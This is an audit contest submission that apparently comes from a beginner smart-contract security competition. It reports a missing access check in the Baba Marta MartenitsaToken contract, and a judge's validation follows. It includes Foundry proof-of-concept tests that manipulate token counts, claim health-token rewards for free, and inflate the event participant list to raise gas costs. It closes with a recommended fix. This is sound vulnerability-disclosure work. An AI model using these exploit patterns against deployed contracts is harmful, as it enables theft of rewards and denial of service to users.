First Flight #13: Baba Marta
First Flight #13
Beginner FriendlyFoundryGameFi
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

No Checks or Access Control in `MartenitsaToken::updateCountMartenitsaTokensOwner` function allowing malicious users to change the count of MartenitsaTokens.

codexbugmenot

Summary

The MartenitsaToken::updateCountMartenitsaTokensOwner function is set to external visibility with no checks or access controls which allows any user to modify the MartenitsaToken count of anyone and can impact protocol in multiple ways.

function updateCountMartenitsaTokensOwner(address owner, string memory operation) external {
//----> no checks or access control here
if (keccak256(abi.encodePacked(operation)) == keccak256(abi.encodePacked("add"))) {
countMartenitsaTokensOwner[owner] += 1;
} else if (keccak256(abi.encodePacked(operation)) == keccak256(abi.encodePacked("sub"))) {
countMartenitsaTokensOwner[owner] -= 1;
} else {
revert("Wrong operation");
}
}

Impact

  1. Malicious user can decrease the count of any user rendering their tokens unsellable or making them unable to makeprenents using MartenitsaMarketplace::makePresent.

  2. Malicious user can call MartenitsaToken::updateCountMartenitsaTokensOwner multiple times make MartenitsaToken::getCountMartenitsaTokensOwner return any value he wishes rendering any functions depending on it vulnerable.

  3. Malicious user can increase his tokens count and call MartenitsaMarketplace::collectReward to steal healthtokens for free and using which he can call MartenitsaEvent::joinEvent to join the event.

  4. The MartenitsaEvent::stopEvent runs a loop through participants.length, since a Malicious user can join the event he can increase the length of MartenitsaEvent::participants array making the owner spend a lot of gas.

Proof of Concept

Note: Please Import {console} in MartenitsaToken.t.sol by adding import {console} from "forge-std/Test.sol"; at the top for the PoC's to work effortlessly

Add the Poc's below to MartenitsaToken.t.sol and run those tests.

  1. Malicious user can Decrease any ones count and render their listed tokens unsellable

PoC : Decrease Count Anyone And Make Martenitsa Unsellable
​
function testDecreaseCountAnyoneAndMakeMartenitsaUnsellable() public listMartenitsa {
address user = makeAddr("RandomUser");
vm.prank(user);
martenitsaToken.updateCountMartenitsaTokensOwner(chasy, "sub");
​
console.log(bob.balance);
vm.prank(bob);
vm.expectRevert();
marketplace.buyMartenitsa{value: 1 wei}(0);
assert(martenitsaToken.getCountMartenitsaTokensOwner(chasy) == 0);
}

  1. Malicious user can make MartenitsaToken::getCountMartenitsaTokensOwner return any value he wishes by calling MartenitsaToken::updateCountMartenitsaTokensOwner multiple times.

PoC: Update Count Anyone
​
function testUpdateCountAnyone() public createMartenitsa {
// random user
address user = makeAddr("RandomUser");
​
// can increase count to which ever number he wishes by calling the updateCount function
vm.startPrank(user);
for (uint256 i = 0; i < 9; i++) {
martenitsaToken.updateCountMartenitsaTokensOwner(user, "add");
}
vm.stopPrank();
assert(martenitsaToken.getCountMartenitsaTokensOwner(user) == 9);
​
vm.prank(user);
martenitsaToken.updateCountMartenitsaTokensOwner(user, "sub");
assert(martenitsaToken.getCountMartenitsaTokensOwner(user) == 8);
}

  1. Malicious user can increase his tokens count and call MartenitsaMarketplace::collectReward to steal healthtokens for free and using which he can call MartenitsaEvent::joinEvent to join the event.

PoC: Update Count Anyone And Collect Reward To JoinEvent
function testUpdateCountAnyoneAndCollectRewardToJoinEvent() public activeEvent {
uint256 requirement = 10 ** 18;
address user = makeAddr("RandomUser");
​
// initially he cannot join event
vm.prank(user);
vm.expectRevert();
martenitsaEvent.joinEvent();
​
// Now he steals rewards to join event
vm.startPrank(user);
​
for (uint256 i = 0; i < 9; i++) {
martenitsaToken.updateCountMartenitsaTokensOwner(user, "add");
}
​
marketplace.collectReward();
healthToken.approve(address(martenitsaEvent), requirement);
martenitsaEvent.joinEvent();
​
vm.stopPrank();
​
assert(healthToken.balanceOf(user) > 0);
}
​
​

  1. Malicious user can Join Event using various addresses by calling MartenitsaEvent::joinEvent as stated above which increases the MartenitsaEvent::participants array length significantly increasing the Gas spent by the owner .

The Code below consumes gas as stated below :

extraUsers = 5 gas consumed is 5792
extraUsers = 25 gas consumed is 22732
extraUsers = 50 gas consumed is 43907
increase extraUsers variable below increase the gas cost

PoC: Update Count Many Can Join Event Increasing Array Length
​
function testUpdateCountManyCanJoinEventIncreasingArrayLength() public activeEvent {
uint256 requirement = 10 ** 18;
​
// the extra users that can be created by Malicious user (more users = more gas cost for owner)
uint256 extrausers = 50;
​
for (uint256 i = 0; i < extrausers; i++) {
string memory x = string(abi.encodePacked(i));
address user = makeAddr(x);
​
vm.startPrank(user);
​
for (uint256 i = 0; i < 3; i++) {
martenitsaToken.updateCountMartenitsaTokensOwner(user, "add");
}
​
marketplace.collectReward();
healthToken.approve(address(martenitsaEvent), requirement);
martenitsaEvent.joinEvent();
​
vm.stopPrank();
}
​
uint256 duration = 1 days;
vm.warp(block.timestamp + duration);
uint256 gasBefore = gasleft();
vm.prank(address(this));
martenitsaEvent.stopEvent();
uint256 gasAfter = gasleft();
console.log("Gas used: ", gasBefore - gasAfter);
}
​
​

Recommendations

  1. In MartenitsaToken.sol import MartenitsaMarketplace
    import {MartenitsaMarketplace} from "./MartenitsaMarketplace.sol";

  2. Add a new state variable for MartenitsaMarketplace

MartenitsaMarketplace private _martenitsaMarketplace;

  1. Declare a new Function MartenitsaToken::setMarketAddress which can only be accessed by the owner and is used to set marketplace address

function setMarketAddress(address martenitsaMarketplace) public onlyOwner {
_martenitsaMarketplace = MartenitsaMarketplace(martenitsaMarketplace);
}

  1. Finally, Add a require statement as the firstline in MartenitsaToken::updateCountMartenitsaTokensOwner function

require(msg.sender == address(_martenitsaMarketplace),"Unable to call this function");
Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Missing access control

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.